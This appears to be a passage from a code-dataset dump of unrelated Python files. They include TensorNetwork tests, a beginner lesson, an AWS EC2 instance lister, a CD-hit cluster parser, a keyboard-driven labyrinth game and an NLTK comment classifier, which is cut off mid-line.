tensorflow as tf\nfrom tensornetwork import network\nfrom tensornetwork.contractors import stochastic_contractor\ntf.compat.v1.enable_v2_behavior()\n\n\nclass StochasticTest(tf.test.TestCase):\n\n def test_find_parallel(self):\n net = network.TensorNetwork(backend=\"tensorflow\")\n a = net.add_node(np.ones([4, 5, 2, 3]))\n b = net.add_node(np.ones([3, 2, 3, 5]))\n net.connect(a[2], b[1])\n net.connect(a[1], b[3])\n net.connect(a[3], b[0])\n parallel_edges, parallel_dim = stochastic_contractor.find_parallel(a[2])\n self.assertSetEqual(parallel_edges, {a[1], a[2], a[3]})\n self.assertEqual(parallel_dim, 30)\n\n def test_contract_trace_edges(self):\n net = network.TensorNetwork(backend=\"tensorflow\")\n a = net.add_node(np.ones([4, 5, 2, 3, 4]))\n b = net.add_node(np.ones([3, 2, 3, 5]))\n net.connect(a[2], b[1])\n net.connect(a[1], b[3])\n net.connect(b[0], b[2])\n net.connect(a[0], a[4])\n e = a[1]\n net, sizes, sizes_none = stochastic_contractor.contract_trace_edges(net)\n self.assertDictEqual(sizes, {e.node1: 30, e.node2: 10})\n self.assertDictEqual(sizes_none, dict())\n\n def test_contraction_sanity(self):\n net = network.TensorNetwork(backend=\"tensorflow\")\n a = net.add_node(np.ones([4, 5, 2]))\n b = net.add_node(np.ones([3, 2, 3]))\n net.connect(a[2], b[1])\n net.connect(b[0], b[2])\n net = stochastic_contractor.stochastic(net, 2)\n net.check_correct()\n res = net.get_final_node()\n self.assertAllClose(res.get_tensor(), 6 * np.ones([4, 5]))\n\n def test_contraction_parallel_edges(self):\n net = network.TensorNetwork(backend=\"tensorflow\")\n a = net.add_node(np.ones([4, 5, 2]))\n b = net.add_node(np.ones([3, 2, 3, 5]))\n c = net.add_node(np.ones([\n 4,\n ]))\n net.connect(a[2], b[1])\n net.connect(b[0], b[2])\n net.connect(a[1], b[3])\n net.connect(a[0], c[0])\n net = stochastic_contractor.stochastic(net, 2)\n net.check_correct()\n res = net.get_final_node()\n self.assertAllClose(res.get_tensor(), 120)\n\n def test_contraction_disconnected(self):\n net = network.TensorNetwork(backend=\"tensorflow\")\n a = net.add_node(np.ones([4, 5, 2]))\n b = net.add_node(np.ones([3, 2, 3]))\n edge1 = a[0]\n net.connect(a[2], b[1])\n net.connect(b[0], b[2])\n c = net.add_node(np.ones([3, 4]))\n d = net.add_node(np.ones([4, 3]))\n edge2 = c[0]\n net.connect(c[1], d[0])\n net = stochastic_contractor.stochastic(net, 2)\n net.check_correct(check_connected=False)\n node1, node2 = edge1.node1, edge2.node1\n self.assertAllClose(node1.get_tensor(), 6 * np.ones([4, 5]))\n self.assertAllClose(node2.get_tensor(), 4 * np.ones([3, 3]))\n\n\nif __name__ == '__main__':\n tf.test.main()\n","sub_path":"tensornetwork/contractors/stochastic_contractor_test.py","file_name":"stochastic_contractor_test.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"249179793","text":"# If Statements\nname = 'Om'\nif name == 'Panda':\n print(\"Panda is my name\")\nelif name == 'Om':\n print(\"Om is my name\")\nelse:\n print('Panda is not my name')\n\nage = 13\nif age > 13:\n print(\"Age is greater 13\")\nelif age == 13:\n print(\"Age is 13\")\nelse:\n print(\"Age is less than 13\")\n\nif age != 12:\n print(\"Age is not 12\")\nelse:\n print(\"Age is 12\")\n\n# Sets\nl = ['a', 'b', 'c'] # List or Array\nt = ('a', 'b', 'c') # Tuple\ns = {'a', 'b', 'c'} # Sets\n\nprint(l)\nprint(t)\nprint(s)\nprint(l[1]) # The element's id start at 0\n\nprint(l[0:2]) \n\n# Change values is lists\nl[0] = 'd'\nl.append('e')\nl.remove('b')\nprint(l)\n\n# t[0] = 'd'\n# print(t)\n# Immutability (You cannot change the value)\n\ns.remove('a')\ns.add('d')\nprint(s)\n# s[0] Sets do not store or remember the order that you assign them in \n\n# Applications\nf1 = input(\"First Friend: \")\nf2 = input(\"Second Friend: \")\nf3 = input(\"Third Friend: \")\n\nl_friends = [f1, f2, f3]\n\nf4 = input(\"Friend that you lost: \")\nl_friends.remove(f4)\nprint(l_friends)\n\nfriends = {\"Om\", \"Bob\", \"Doug\"}\nabroad = {\"Bob\", \"Doug\"}\n\nlocal_friends = friends.difference(abroad) # {\"Om\"}\nprint(local_friends)\n\nlocal = {\"Rolf\"}\ntotal_friends = local.union(abroad) # {\"Rolf\", \"Bob\", \"Doug\"}\nprint(total_friends)\n\nart = {\"Billy\", \"Doug\", \"Om\", \"Sam\"}\nmath = {\"Billy\", \"Doug\", \"Panda\", \"Joe\"}\n\nboth = art.intersection(math)\nprint(both)","sub_path":"Exploration 3/Code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"436099358","text":"directory = 'C:/users/hai/my projects/google code jam/2012/qualification/B/'\r\n\r\n\r\ndef solve (f_in, f_out):\r\n T = int(f_in.readline())\r\n print ('Test cases : ',T)\r\n for i in range(1,T+1):\r\n line = f_in.readline()\r\n nnn = [int(x) for x in line.split()]\r\n S = nnn[1]\r\n p = nnn[2]\r\n t = nnn[3:]\r\n if p > 1:\r\n A = 0\r\n B = 0\r\n for t_i in t:\r\n if t_i >=3*p-2:\r\n A += 1\r\n elif t_i >= 3*p-4:\r\n B += 1\r\n result = A + min(B,S)\r\n if p == 1:\r\n result = len([x for x in t if x>=1])\r\n if p == 0:\r\n result= len(t)\r\n f_out.write('Case #' + str(i) + ': ' + str(result) + '\\n')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef main_run():\r\n import os\r\n filenames = [x for x in os.listdir (directory)]\r\n filenames = [x for x in filenames if x.endswith('.in')]\r\n l1 = [(os.stat(directory+x).st_ctime, x) for x in filenames]\r\n chosen_filename = sorted(l1)[-1][1][:-3]\r\n\r\n print ('Directory : ', directory)\r\n print ('Chosen Filename : ',chosen_filename)\r\n print()\r\n f_in = open(directory+chosen_filename+'.in')\r\n f_out = open(directory+chosen_filename+'.out', 'w')\r\n solve(f_in,f_out)\r\n f_in.close()\r\n f_out.close()\r\n\r\n\r\n\r\n\r\nmain_run()\r\n","sub_path":"solutions_1595491_1/Python/bigOnion/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"404079402","text":"#!/usr/bin/env python\n\n# Create orthomcl like output from the cluster output from CD-hit\n\n# command: cdhit_parser.py -f [cluster .fasta file] -c [.clstr cluster file]\n\n### rewrite\n# the output of the CD-hit_filter.py script is a fasta file [input cluster .fasta file with the min # seqs in the file name]\n# with the OTU sequences for the clusters with more than or equal number of sequences to the user specified minimum.\n\n# import modules used by the script\nimport argparse, os, itertools, re, numpy\nfrom Bio import SeqIO\n\nclass convert_cdhit_to_orthomcl():\n cluster_dict = {}\n margin = 0.05\n def read_clstr(self, infile):\n \n # parse through the .clstr file and create a dictionary\n # with the sequences per cluster\n m = re.compile(r'(\\d+)\\s+(\\d+).+>(.+)\\.\\.\\.\\s(.+)')\n # open the cluster file and set the output dictionary\n cluster_file = open(infile,'r')\n # parse through the cluster file and store the cluster name + sequences in the dictionary\n cluster_groups = (x[1] for x in itertools.groupby(cluster_file, key=lambda line: line[0] == '>'))\n for cluster in cluster_groups:\n name = next(cluster)\n name = name.strip().strip('>').replace(' ','_')\n count = int(name.split('_')[1])\n name = \"cluster_%05d\"%count\n #seqs = [ seq.split('>')[1].split('...')[0] for seq in cluster_groups.next() ]\n \n cluster_groups_members = list( next(cluster_groups) )\n \n seqs = [ m.search(seq).group(3) for seq in cluster_groups_members]\n sizes = [ int(m.search(seq).group(2)) for seq in cluster_groups_members ]\n \n self.cluster_dict[name] = {'members' : seqs, 'sizes':sizes, 'complete': (self.margin > (numpy.array(sizes).std()/numpy.array(sizes).mean() ) )}\n \n def get_strains(self,genes):\n strains = [ s.split('|')[0] for s in genes]\n return strains\n \n def cluster_stat(self):\n \n self.strainset = {}\n clusters = self.cluster_dict.keys()\n for k in clusters:\n genes = self.cluster_dict[ k ]['members']\n #print (k,self.cluster_dic[ k ]['complete'], len(genes))\n \n strains = self.get_strains(genes)\n for s in strains:\n if s in self.strainset:\n self.strainset[s].add(k)\n else:\n self.strainset[s]=set([k])\n\n core = set(clusters) \n for k in self.strainset:\n core = core.intersection(self.strainset[k])\n print (k, len(self.strainset[k]), len(core))\n \n singletons = 0\n for k in self.cluster_dict.keys():\n genes = self.cluster_dict[ k ]['members']\n if len(genes)<2:\n singletons=singletons+1\n \n \n print(\"Clusters: %s\"%len(clusters))\n print(\"Clusters with two or more proteins: %s\"%(len(clusters)-singletons))\n print(\"Singleton clusters: %s\"%(singletons))\n \n def write_og_file(self, ogfile, ogpath):\n \n f =open(ogfile,'w')\n \n if not (os.path.exists(ogpath)):\n try:\n os.makedirs(ogpath)\n except:\n print(\"path %s cannot be created\"%(ogpath))\n pass\n \n for k in self.cluster_dict.keys():\n ogseqs = []\n data = []\n genes = self.cluster_dict[ k ]['members']\n status = self.cluster_dict[ k ]['complete']\n strains = strains = self.get_strains(genes)\n strain_count = len(set(strains))\n descriptions = [ self.seqdict[ s ].description for s in genes ]\n descriptions = set(descriptions)\n \n data.append(k)\n data.append(';'.join(genes))\n data.append(';'.join(descriptions))\n \n f.write(\"\\t\".join(data))\n f.write(\"\\n\")\n \n ogseqs = [ self.seqdict[s] for s in genes ]\n if (os.path.exists(ogpath)):\n fastafile = '%s/%s.%s.%s.fasta'%(ogpath,k,str(status),strain_count)\n SeqIO.write(ogseqs, fastafile, 'fasta' )\n else:\n print(\"Cannot write %s\"%(fastafile))\n f.close()\n \n def write_abspres_matrix(self,abspres_matrix):\n f =open(abspres_matrix,'w')\n \n strains = sorted(self.strainset.keys())\n \n f.write(\"clusters\\t\")\n f.write(\"\\t\".join(strains))\n f.write(\"\\tcompleteness\\tdescriptions\")\n f.write(\"\\n\")\n \n clusters = sorted(self.cluster_dict.keys())\n for k in clusters:\n \n f.write(k)\n f.write(\"\\t\")\n genes = self.cluster_dict[ k ]['members']\n clusterstrains = self.get_strains(genes)\n for s in strains:\n if s in clusterstrains:\n f.write(\"%s\\t\"%(clusterstrains.count(s)))\n else:\n f.write(\"0\\t\")\n \n f.write(\"%s\\t\"%(self.cluster_dict[ k ]['complete']))\n descriptions = [ self.seqdict[sq].description for sq in genes ]\n descriptions = set(descriptions)\n f.write(';'.join(descriptions))\n f.write(\"\\n\")\n f.close()\n \n \n \n def parse_fasta(self,fastafile):\n # parse through the cluster fasta sequences and placed them in a dict\n self.seqdict = SeqIO.to_dict(SeqIO.parse(fastafile,'fasta'))\n \n\n\ndef main():\n # set argument parser\n parser = argparse.ArgumentParser(description = 'Create orthomcl like output from the cluster output from CD-hit')\n parser.add_argument('-f', '--fasta', metavar='.fasta file', dest='fasta', type=str, \n help='The .fasta file containing the clusters produced by CD-hit.')\n parser.add_argument('-c', '--clusters', metavar='.clstr file', dest='clusters', type=str,\n help='The .clstr file producec by CD-hit that contains the cluster information.')\n parser.add_argument('-o', '--ogfile', metavar='ogfile', dest='ogfile', type=str,\n help='The file that will contain the orthologous groups')\n\n parser.add_argument('-p', '--path', metavar='path', dest='path', type=str, default='ogs',\n help='path for ogfiles')\n parser.add_argument('-a', '--absence_presence_matrix', metavar='absence_presence_matrix', dest='absence_presence_matrix', type=str, default='absence_presence.txt',\n help='absence_presence matrix file')\n \n args = parser.parse_args()\n\n converter = convert_cdhit_to_orthomcl()\n converter.read_clstr(args.clusters)\n converter.parse_fasta(args.fasta)\n converter.cluster_stat()\n converter.write_og_file(args.ogfile, args.path)\n converter.write_abspres_matrix(args.absence_presence_matrix)\n \n \nif __name__ == '__main__':\n\n main()\n","sub_path":"comp genomics pipeline/src/cdhit_to_orthomcl.py","file_name":"cdhit_to_orthomcl.py","file_ext":"py","file_size_in_byte":7020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"57115629","text":"class Solution:\n def dominantIndex(self, nums):\n # if not nums:\n # return -1\n first_max = -1\n second_max = -1\n max_idx = -1\n for idx in range(len(nums)):\n if nums[idx] > first_max:\n second_max = first_max\n first_max = nums[idx]\n max_idx = idx\n elif nums[idx] > second_max:\n second_max = nums[idx]\n if first_max >= 2 * second_max:\n return max_idx\n else:\n return -1\n\n # for idx in range(len(nums)):\n # if nums[idx] > first_max:\n # second_max = first_max\n # first_max = nums[idx]\n # max_idx = idx\n #\n # nums.pop(max_idx)\n # nums = [2*x for x in nums]\n # for num in nums:\n # if num > _max:\n # return -1\n # return max_idx\n\n\nexample = []\nsln = Solution()\nprint(sln.dominantIndex(example))\n","sub_path":"Python/largest-number-at-least-twice-of-others.py","file_name":"largest-number-at-least-twice-of-others.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"307369935","text":"#!/usr/bin/env python\n# -*-coding:utf-8 -*-\nimport unittest\nimport os,sys\nos.environ['CHECK_SERVER_HOME_DIR'] = os.path.dirname(os.path.realpath(sys.argv[0]))[0:-5]\nos.environ['CHECK_SERVER_PY_PATH'] = os.path.dirname(os.path.realpath(sys.argv[0]))[0:-5]\nsys.path.append(os.environ['CHECK_SERVER_HOME_DIR'])\n\nclass EnumUnitTest(unittest.TestCase):\n def testEnum(self):\n from utils.Enum import Enum \n enum = Enum('test1=22','test2=23')\n assert enum.test1 == 22, 'Enum error'\n\ndef testSuite():\n suite = unittest.TestSuite()\n suite.addTest(EnumUnitTest('testEnum'))\n return suite\n\nif __name__ == '__main__':\n unittest.main(defaultTest = 'testSuite')\n\n","sub_path":"utils_updates/data_ready_checker/server/test/EnumUnitTest.py","file_name":"EnumUnitTest.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"180786850","text":"import boto.ec2\nimport sys\nimport os\nimport commands\nsys.path.append(os.path.abspath(\"./ec2instancespricing\"))\n\nfrom ec2instancespricing import *\n\nregions = boto.ec2.regions()\n\ncsv_file = open('./instances.csv', 'w+')\n\ndef get_ec2_instances(region):\n ec2_conn = boto.ec2.connect_to_region(region)\n reservations = ec2_conn.get_all_reservations()\n\n instances = [i for r in reservations for i in r.instances]\n\n for i in instances:\n # if i.platform == \"None\":\n # platform = \"linux\"\n # elif i.platform == \"windows\":\n # platform = \"mswin\"\n #\n # cmd = \"./ec2instancespricing/ec2instancespricing.py\"\\\n # \" --type ondemand --filter-region %s --filter-os-type %s --format price --filter-type %s\" % (i.region.name, platform, i.instance_type)\n #\n # price = commands.getoutput(cmd)\n #\n # if price == \"0\":\n # oldcmd = \"./ec2instancespricing/ec2instancespricingold.py\"\\\n # \" --type ondemand --filter-region %s --filter-os-type %s --format price --filter-type %s\" % (i.region.name, platform, i.instance_type)\n #\n # price = commands.getoutput(oldcmd)\n #\n # monthly_price = float(price) * 720\n\n if i.platform == None:\n platform = \"linux\"\n elif i.platform == \"windows\":\n platform = \"windows\"\n\n# print i.region.name, i.id, i.instance_type, platform, i.state, i.spot_instance_request_id\n\n csv_file.write('{0},{1},{2},{3},{4},{5}\\n'.format(i.region.name, i.id, i.instance_type, platform, i.state, i.spot_instance_request_id))\n csv_file.flush()\n\nif __name__==\"__main__\":\n csv_file.write('{0},{1},{2},{3},{4},{5},{6}\\n'.format(\"Region\", \"Instance ID\", \"Instance Type\", \"Operating System\", \"State\", \"Spot Instance\", \"Monthly Cost\"))\n\n for region in regions:\n try:\n get_ec2_instances(region.name)\n except Exception:\n pass\n csv_file.close()","sub_path":"list_instances.py","file_name":"list_instances.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"293932371","text":"import FWCore.ParameterSet.Config as cms\n\ndef customizeJets(process,coll,**kwargs):\n '''Customize jets'''\n isMC = kwargs.pop('isMC',False)\n jSrc = coll['jets']\n rhoSrc = coll['rho']\n pvSrc = coll['vertices']\n\n # customization path\n process.jetCustomization = cms.Path()\n\n #################################\n ### add updated pileup jet id ###\n #################################\n process.load(\"RecoJets.JetProducers.PileupJetID_cfi\")\n process.pileupJetIdUpdated = process.pileupJetId.clone(\n jets=cms.InputTag(jSrc),\n inputIsCorrected=True,\n applyJec=True,\n vertexes=cms.InputTag(pvSrc),\n )\n process.jetCustomization *= process.pileupJetIdUpdated\n\n ######################\n ### recorrect jets ###\n ######################\n from PhysicsTools.PatAlgos.tools.jetTools import updateJetCollection\n\n jetCorr = ('AK4PFchs', cms.vstring(['L1FastJet', 'L2Relative', 'L3Absolute', 'L2L3Residual']), 'None')\n if isMC:\n jetCorr = ('AK4PFchs', cms.vstring(['L1FastJet', 'L2Relative', 'L3Absolute']), 'None')\n updateJetCollection(\n process,\n jetSource = cms.InputTag(jSrc),\n jetCorrections = jetCorr,\n )\n process.updatedPatJets.userData.userFloats.src += ['pileupJetIdUpdated:fullDiscriminant']\n jSrc = 'updatedPatJets'\n\n #################\n ### embed ids ###\n #################\n process.jID = cms.EDProducer(\n \"JetIdEmbedder\",\n src = cms.InputTag(jSrc),\n discriminator = cms.string('pileupJetIdUpdated:fullDiscriminant'),\n )\n process.jetCustomization *= process.jID\n jSrc = \"jID\"\n\n #################\n ### embed rho ###\n #################\n process.jRho = cms.EDProducer(\n \"JetRhoEmbedder\",\n src = cms.InputTag(jSrc),\n rhoSrc = cms.InputTag(rhoSrc),\n label = cms.string(\"rho\"),\n )\n jSrc = 'jRho'\n\n process.jetCustomization *= process.jRho\n\n ##########################\n ### embed jet gen jets ###\n ##########################\n if isMC:\n process.jGenJetMatching = cms.EDProducer(\n \"JetGenJetEmbedder\",\n src = cms.InputTag(jSrc),\n genJets = cms.InputTag(\"slimmedGenJets\"),\n excludeLeptons = cms.bool(False),\n deltaR = cms.double(0.5),\n )\n jSrc = \"jGenJetMatching\"\n process.jetCustomization *= process.jGenJetMatching\n\n\n # add to schedule\n process.schedule.append(process.jetCustomization)\n\n coll['jets'] = jSrc\n\n return coll\n","sub_path":"python/customizeJets.py","file_name":"customizeJets.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"292600195","text":"\n\nfrom xai.brain.wordbase.nouns._assumption import _ASSUMPTION\n\n#calss header\nclass _ASSUMPTIONS(_ASSUMPTION, ):\n\tdef __init__(self,): \n\t\t_ASSUMPTION.__init__(self)\n\t\tself.name = \"ASSUMPTIONS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"assumption\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_assumptions.py","file_name":"_assumptions.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"95084830","text":"import random\n\nfrom pynput.keyboard import Key, Listener\n\nimport Character as C\n\n\n\n\n\n\n\n\n\n\n\n\nlaby = [[\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"],\n [\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\",\"X\"]]\n\n\n\n\n\n\n\nstock1 = []\ntabl_canvas = []\n\ndef ChooseClass(player):\n\n print('\\33[1m' +\"Bienvenue, joueur\",player, '\\33[0m')\n print('\\33[35m' +\"Tu as le choix entre 3 classes\"+ '\\33[0m')\n print(\"1: Bob. Pouvoir: inverse les touches de l'adversaire\")\n print(\"2: José. Pouvoir: construit un mur sur la ligne au dessus de lui pour bloquer son adversaire\")\n print(\"3: Mirabelle. Pouvoir: téléporte l'ennemie sur une case aléatoire\")\n\n input1 = input()\n\n if(input1 == \"1\"):\n print(\"vous avez choisi la classe Bob\")\n return \"Bob\"\n elif (input1 == \"2\"):\n print(\"vous avez choisi la classe José\")\n return \"Jose\"\n elif (input1 == \"3\"):\n print(\"vous avez choisi la classe Mirabelle\")\n return \"Mirabelle\"\n\n\ndef pushLaby(ligne, colonne):\n send = ''\n couleur = ''\n\n count = 0\n\n\n if laby[ligne][colonne] == \"*\":\n couleur = '2' # green\n elif laby[ligne][colonne] == \"X\":\n couleur = '3' # red\n elif laby[ligne][colonne] == \"+\":\n couleur = '4' # yellow\n elif laby[ligne][colonne] == \"=\":\n couleur = '5' # cyan\n elif laby[ligne][colonne] == \"+\":\n couleur = '6' #orange\n elif laby[ligne][colonne] == \"H\":\n couleur = '7' #violet\n elif laby[ligne][colonne] == \"P\":\n couleur = '8' #rose\n elif laby[ligne][colonne] == \"V\":\n couleur = '9' #bleu foncé\n\n ligne += 1\n if ligne == 10:\n colonne += 1\n ligne = 0\n if ligne != 10 and colonne != 10:\n send = send + couleur + \",\"\n else:\n send = send + couleur\n count += 1\n return send\n\n# push = envoyer les infos a l'arduino\ndef push(ligne, colonne):\n send = ''\n couleur = ''\n\n count = 0\n\n\n if laby[ligne][colonne] == \"*\":\n couleur = '2' # green\n elif laby[ligne][colonne] == \"X\":\n couleur = '3' # red\n elif laby[ligne][colonne] == \"+\":\n couleur = '4' # yellow\n elif laby[ligne][colonne] == \"=\":\n couleur = '5' # cyan\n elif laby[ligne][colonne] == \"+\":\n couleur = '6' #orange\n elif laby[ligne][colonne] == \"H\":\n couleur = '7' #violet\n elif laby[ligne][colonne] == \"P\":\n couleur = '8' #rose\n elif laby[ligne][colonne] == \"V\":\n couleur = '9' #bleu foncé\n\n ligne += 1\n if ligne == 10:\n colonne += 1\n ligne = 0\n if ligne != 10 and colonne != 10:\n send = send + couleur + \",\"\n else:\n send = send + couleur\n count += 1\n return send\n\n\n\n\ndef createCheckPoint():\n rand1 = random.randint(0, 9)\n rand2 = random.randint(5, 9)\n if laby[rand1][rand2] == '*':\n laby[rand1][rand2] = '+'\n else:\n return createCheckPoint()\n\n\ndef createBonus():\n rand1 = random.randint(0, 9)\n rand2 = random.randint(5, 9)\n if laby[rand1][rand2] == '*':\n laby[rand1][rand2] = '='\n else:\n return createBonus()\n\n\ndef createCharacter():\n\n\n laby[0][0] = Player1.skin\n laby[9][0] = Player2.skin\n Player1.x = 0\n Player1.y = 0\n Player2.x = 9\n Player2.y = 0\n\n\n\ndef generate2():\n\n laby[0][0] = \"O\"\n laby[9][0] = \"O\"\n i = 0\n\n stock1.append(0)\n stock1.append(0)\n\n while i != 2: # carre haut gauche\n\n rand1 = random.randint(0, 4)\n rand2 = random.randint(0, 4)\n\n if laby[rand1][rand2] != \"*\":\n laby[rand1][rand2] = \"*\"\n stock1.append(rand1)\n stock1.append(rand2)\n i += 1\n\n i = 0\n while i != 2: # bas gauche\n rand1 = random.randint(0, 4)\n rand2 = random.randint(5, 9)\n if laby[rand1][rand2] != \"*\":\n laby[rand1][rand2] = \"*\"\n stock1.append(rand1)\n stock1.append(rand2)\n i += 1\n\n i = 0\n while i != 2: # bas droite\n rand1 = random.randint(5, 9)\n rand2 = random.randint(5, 9)\n if laby[rand1][rand2] != \"*\":\n laby[rand1][rand2] = \"*\"\n stock1.append(rand1)\n stock1.append(rand2)\n i += 1\n\n i = 0\n while i != 2: # haut droit\n rand1 = random.randint(5, 9)\n rand2 = random.randint(0, 4)\n if laby[rand1][rand2] != \"*\":\n laby[rand1][rand2] = \"*\"\n stock1.append(rand1)\n stock1.append(rand2)\n i += 1\n\n stock1.append(9)\n stock1.append(0)\n\n\n\n\ndef generateLaby(b):\n\n\n laby[0][0] = \"*\"\n laby[9][0] = \"*\"\n\n x0 = stock1[b]\n y0 = stock1[b + 1]\n\n x1 = stock1[b - 2]\n y1 = stock1[b - 1]\n\n if x1 > x0:\n\n count = x0\n while (x1 != count):\n laby[x1][y1] = '*'\n x1 -= 1\n count = y0\n\n else:\n\n count = x0\n while (x1 != count):\n laby[x1][y1] = '*'\n x1 += 1\n count = y0\n\n\n\n\n if(y1 > y0):\n\n\n while y1 != count:\n laby[x1][y1] = \"*\"\n y1 -= 1\n else:\n while y1 != count:\n laby[x1][y1] = \"*\"\n y1 += 1\n\n\n if b + 2 <= 19:\n return generateLaby(b + 2)\n\n\n\ndef display():\n print(\"\")\n print(\"-----------\")\n count = 0\n ligne = 0\n colonne = 0\n while (count != 100):\n if ligne == 10:\n colonne += 1\n ligne = 0\n print()\n print(laby[ligne][colonne] + \" \", end='')\n\n ligne += 1\n count += 1\n return\n\n\n# met en place l'environnement de jeu\ndef creation():\n generate2()\n generateLaby(2)\n createCheckPoint()\n createBonus()\n createCharacter()\n display()\n pushLaby()\n jeu(\"c\")\n\ndef finDePartie(player):\n\n Player1.addPercent(10)\n Player2.addPercent(10)\n Player1.backup_touche()\n Player2.backup_touche()\n\n if Player1.score == 10:\n print(\"GAME OVER le joueur 1 a gagné bien joué!\")\n elif Player2.score == 10:\n print(\"GAME OVER le joueur 2 a gagné bien joué!\")\n else:\n creation()\n\ndef jeu(key):\n game = True\n\n\n x1 = Player1.x\n y1 = Player1.y\n x2 = Player2.x\n y2 = Player2.y\n enter = str(key)\n\n\n\n P1 = False\n P2 = False\n\n\n\n\n if enter.find(Player1.droite) > 0 and x1 < 9:\n print(\"ici\")\n P1 = Player1.move_right(laby)\n\n if enter.find(Player1.bas) > 0 and y1 < 9:\n P1 = Player1.move_bottom(laby)\n\n if enter.find(Player1.gauche) > 0 and x1 > 0:\n P1 = Player1.move_left(laby)\n\n if enter.find(Player1.haut) > 0 and y1 > 0:\n P1 = Player1.move_top(laby)\n\n if enter.find(\"r\") > 0:\n Player1.use_ultime(laby, Player2)\n\n\n if enter.find(Player2.droite) > 0 and x2 < 9:\n\n P2 = Player2.move_right(laby)\n\n if enter.find(Player2.bas) > 0 and y2 < 9:\n\n P2 = Player2.move_bottom(laby)\n\n\n if enter.find(Player2.gauche) > 0 and x2 > 0:\n P2 = Player2.move_left(laby)\n\n if enter.find(Player2.haut) >0 and y2 > 0:\n P2 = Player2.move_top(laby)\n\n if enter.find(\"u\") > 0:\n Player2.use_ultime(laby,Player1)\n\n display()\n\n data = push()\n #arduino.write(data.encode())\n\n if P1 == True:\n finDePartie(1)\n elif P2 == True:\n finDePartie(2)\n print(\"le joueur 1 a:\", Player1.score,\" et son ultime est chargé a: \",Player1.pourcentage,\"%\")\n print(\"le joueur 2 a:\", Player2.score,\" et son ultime est chargé a: \",Player2.pourcentage,\"%\")\n\nPlayer1 = C.Character(ChooseClass(1),\"z\",\"d\",\"q\",\"s\")\nPlayer2 = C.Character(ChooseClass(2),\"o\",\"m\",\"k\",\"l\")\ncreation()\n\n\ndef show(key):\n print('\\nYou Entered {0}'.format(key))\n\n if key == Key.delete:\n # Stop listener\n return False\n\n\n# Collect all event until released\nwith Listener(on_press=jeu) as listener:\n listener.join()","sub_path":"laby2.py","file_name":"laby2.py","file_ext":"py","file_size_in_byte":8186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"217555978","text":"'''\nWe want to have a script that makes feature sets out of comments\nFeature sets are dictionaries.\nclassify each comment of a submission\ncreate sums of the classifiers\ngive that as distribution of what the submission is about\n'''\nimport sqlite3\nimport random\nimport nltk\nimport pickle\nfrom nltk import FreqDist\nfrom nltk.tokenize import word_tokenize\n\nfrom nltk.classify.scikitlearn import SklearnClassifier\nfrom sklearn.linear_model import LogisticRegression\n\nSQL_query = '''\nSELECT c.body, s.label\nFROM submissions as s, comments as c\nWHERE s.submission_id = c.submission_id\nAND (s.label = \"Internet\"\nOR s.label = \"Housing\"\nOR s.label = \"Pot\");\n'''\n\n# Used to get 4/5 of the data for train, and 1/5 of the data for test\nsplit = lambda x: - int(len(x) / 5)\n\n# Connect to database a obtain all comments with given labels\ndb = sqlite3.connect('canada_subreddit.db')\ncur = db.cursor()\ncur.execute(SQL_query)\n\n# tokenize words and add the label, random the order and close the db\ncomments = [(word_tokenize(c[0]), c[1]) for c in cur]\nrandom.shuffle(comments)\ndb.close()\n\n# Gather all words from both labels\nall_words = []\nfor c in comments:\n for w in c[0]:\n word = w\n if word[:2] != \"//\":\n if '*' in word:\n word = word.replace('*','')\n all_words.append(word.lower())\nall_words = FreqDist(all_words)\nprint(all_words.B())\n\n# Get a random set of the words to use as features\nword_features = list(all_words.keys())[:4000]\n\n# make feature sets from each comment and mark it with a label\n# function returns a feature set of form {\"example\" : True, \"word\" : False}\n# it will be the length of word_features\ndef find_features(document):\n words = set(document)\n features = {}\n for w in word_features:\n features[w] = (w in words)\n return features\nfeaturesets = [(find_features(comment), label) for (comment, label) in comments]\n\nk = split(featuresets)\ntraining_set = featuresets[:k]\ntesting_set = featuresets[k:]\n\nLogisticRegression_classifier = 